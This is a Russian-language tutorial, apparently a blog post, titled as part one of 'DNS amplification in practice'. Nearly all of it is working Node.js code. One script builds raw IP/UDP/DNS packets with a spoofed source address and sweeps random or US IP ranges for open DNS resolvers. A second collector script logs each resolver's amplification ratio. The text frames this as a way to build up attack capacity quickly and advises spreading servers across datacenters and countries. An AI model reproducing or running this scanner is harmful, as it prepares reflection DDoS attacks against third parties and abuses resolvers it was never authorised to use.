DNS-Amplification на практике, часть 1Более эффективное сканирование хостовЕсли нужно нарастить мощности быстро, предыдущий шаг этого сделать не позволит по нескольким причинам :
Более эффективное решение - сканировать с помощью 2 серверов, из которых один на приеме пакетов от НС, а второй - на передаче НСам пакетов со спуфенным IP в заголовке. Обязательное условие - расположение принимающего сервера в другом ДЦ и желательно даже в другой стране. Спуфящих серверов может быть один, а может быть несколько. Я проверял на двух спуфящих и одном принимающем. Для приема и отправки пакетов используются NodeJS - приложения. Принимающую сторону назовем "клиент". Он предельно прост. Примерный принцип работы :
var dgram = require('dgram'); var fs = require('fs'); var dns = require('dns'); var util = require('util'); var ws = fs.createWriteStream("incoming_ips.txt", { flags: 'w+' }); var server = dgram.createSocket("udp4"); function getPercent(total, amount){ return (amount * 100) / total; } server.on('error', function(msg, rinfo){ console.log('server error'); }); server.on('message', function(msg, rinfo){ if(msg.length > 100){ var line = util.format("%d:%s:%d:%d", msg.length, rinfo.address, rinfo.port, getPercent(17, msg.length)); console.log(line); ws.write(line + 'n'); } }); server.bind(5353); console.log('NS Client started'); такой код соберет все наши пакеты в логе, который после будет удобно распарсить. Отдельный сервер будет представлен в виде строки : размер_пакета:днс_айпи:процент_усиления Спуфящая частьСпуфящая часть написана с помощью node-raw-socket - оберткой надо unix-сокетами для *nix, которая позволяет собирать свой IP-хедер для отправляемых пакетов. Разумеется, это требует прав рута. Принцип работы несложный. У нас есть готовый пакет реквеста на ДНС-сервер, включая IP-хедер и UDP пакет с нагрузкой в виде DNS-query : var buffer = new Buffer ([ //--------- IP packet ---------- 0x45, 0x00, 0x00, 0x25, //length 0x7c, 0x9b, //ID 0x00, 0x00, //flagsfragment offset 0x80, //TTL 0x11, //protocol 0x00, 0x00, //crc 0x00, 0x00, 0x00, 0x00, //source IP 0xc0, 0xa8, 0x41, 0x01, //dest IP //--------- 8 bytes of UDP packet ---------- 0x14, 0xE9, //sender port 0x00, 0x35, //target port 0x00, 0x19, //data length 0x00, 0x00, //crc //--------- 17 bytes of DNS packet ---------- 0x00, 0x03, 0x01, 0x00, 0x00,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x01 ]); Все что требуется - выставить в IP-хедере айпи-адреса :
Порт источника в UDP пакете указан 5353, как раз тот, на котором листинит клиент. Чексуммы выставлены в 0, чтоб стек ОС сам пересчитал сумму при отправке пакета в сеть. Откуда брать айпи-адреса ?Можно генерировать рандомные (результат неплох), а можно сканировать диапазоны по странам. Я брал диапазоны в виде листов : 3.0.0.0-3.103.8.36 3.103.8.38-4.18.65.255 4.18.68.0-4.28.83.255 4.28.85.0-4.31.64.63 4.31.64.72-4.59.175.255 4.59.177.0-4.68.23.139 4.68.23.141-4.68.23.189 4.68.23.191-4.68.25.1 4.68.25.4-4.68.115.255 4.68.118.0-4.69.131.255 4.69.132.53-4.69.132.53 4.69.132.61-4.69.132.61 4.69.132.65-4.69.132.65 и последовательно их перебирал.
Важно обеспечить последовательную посылку пакетов
при асинхронной архитектуре. Для этого был сделан
вполне, как оказалось, жизнеспособный костыль, нагрузивший
исходящий канал на 20 мбит (из 100) и не блокировавший эвентпулл ноды. function repeater(diapasons, nextIp , endIp) { async(function(){ process.nextTick(function(){ repeater(diapasons, current_ip + 1, endIp); }); }); } repeater(undefined, undefined, undefined); Для работы необходимо поставить модуль raw-socket : npm install raw-socket. var raw = require ("raw-socket"); var fs = require('fs'); var dns = require('dns'); var util = require('util'); var options = { protocol: raw.Protocol.UDP, bufferSize: 4096*8 }; var socket = raw.createSocket (options); socket.setOption (raw.SocketLevel.IPPROTO_IP, raw.SocketOption.IP_HDRINCL, new Buffer ([0x00, 0x00, 0x00, 0x01]), 4); var buffer = new Buffer ([ //--------- IP packet ---------- 0x45, 0x00, 0x00, 0x25, //length 0x7c, 0x9b, //ID 0x00, 0x00, //flagsfragment offset 0x80, //TTL 0x11, //protocol 0x00, 0x00, //crc 0x00, 0x00, 0x00, 0x00, //source IP 0xc0, 0xa8, 0x41, 0x01, //dest IP //--------- 8 bytes of UDP packet ---------- 0x14, 0xE9, //sender port 0x00, 0x35, //target port 0x00, 0x19, //data length 0x00, 0x00, //crc //--------- 17 bytes of DNS packet ---------- 0x00, 0x03, 0x01, 0x00, 0x00,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x01 ]); function ip2long ( ip_address ) { var output = false; var parts = []; if (ip_address.match(/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/)) { parts = ip_address.split('.'); output = ( parts[0] * 16777216 + ( parts[1] * 65536 ) + ( parts[2] * 256 ) + ( parts[3] * 1 ) ); } return output; } function long2ip ( proper_address ) { var output = false; if ( !isNaN ( proper_address ) && ( proper_address >= 0 || proper_address <= 4294967295 ) ) { output = Math.floor (proper_address / Math.pow ( 256, 3 ) ) + '.' + Math.floor ( ( proper_address % Math.pow ( 256, 3 ) ) / Math.pow ( 256, 2 ) ) + '.' + Math.floor ( ( ( proper_address % Math.pow ( 256, 3 ) ) % Math.pow ( 256, 2 ) ) / Math.pow ( 256, 1 ) ) + '.' + Math.floor ( ( ( ( proper_address % Math.pow ( 256, 3 ) ) % Math.pow ( 256, 2 ) ) % Math.pow ( 256, 1 ) ) / Math.pow ( 256, 0 ) ); } return output; } function rand(max){ return Math.floor(Math.random()*max) } function ip_packet_length(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt16BE(newval, 2); } return buff.readUInt16BE(2); } function ip_packet_id(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt16BE(newval, 4); } return buff.readUInt16BE(4); } function ip_packet_ttl(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt8(newval, 8); } return buff.readUInt8(8); } function ip_packet_proto(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt8(newval, 9); } return buff.readUInt8(9); } function ip_packet_crc(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt16BE(newval, 10); } return buff.readUInt16BE(10); } function ip_packet_source_addr(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt32BE(newval, 12); } return buff.readUInt32BE(12); } function ip_packet_dest_addr(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt32BE(newval, 16); } return buff.readUInt32BE(16); } //process IP ranges function parseIpFile(filename){ var diapasons = []; var ip_database = fs.readFileSync(filename).toString().split('n'); console.log("ranges readed : %d", ip_database.length); var totalAddreses = 0; for(var i = 0; i < ip_database.length; i ++){ var rangeStartEnd = ip_database[i].split('-'); var startIp = ip2long(rangeStartEnd[0]); var endIp = ip2long(rangeStartEnd[1]); totalAddreses += (endIp - startIp); diapasons.push([ startIp, endIp ]); } console.log('total addreses : %d', totalAddreses); return diapasons; } function sendPacket(possibleNSip, callback){ ip_packet_dest_addr(buffer, possibleNSip); ip_packet_source_addr(buffer, collectorIpLong); socket.send (buffer, 0, buffer.length, long2ip(possibleNSip), function (error, bytes) { callback(); }); } function randomIp(){ return ip2long([rand(250),rand(250),rand(250), rand(250)].join('.')); } function repeater(diapasons, nextIp , endIp) { var current_ip = nextIp; if(typeof(diapasons) === 'undefined'){ current_ip = randomIp(); } if(typeof(current_ip) === 'undefined'){ var current_iprange = diapasons.shift(); if( current_iprange.length > 0) { current_ip = current_iprange[0]; endIp = current_iprange[1]; }else{ repeater(diapasons, undefined, undefined); } } sendPacket(current_ip, function(){ if(current_ip === endIp){ console.log('end of range, try next'); repeater(diapasons, undefined, undefined); }else{ process.nextTick(function(){ repeater(diapasons, current_ip + 1, endIp); }); } }); } var collectorIp = '1.2.3.4'; // IP клиента, принимающего пакеты var collectorIpLong = ip2long(collectorIp); //для рандома передаем undefined вместо списка айпи //repeater(undefined, undefined, undefined); //для отправке по диапазонам, передаем отпарсенный диапазон repeater(parseIpFile('US_ipranges.txt'), undefined, undefined);
|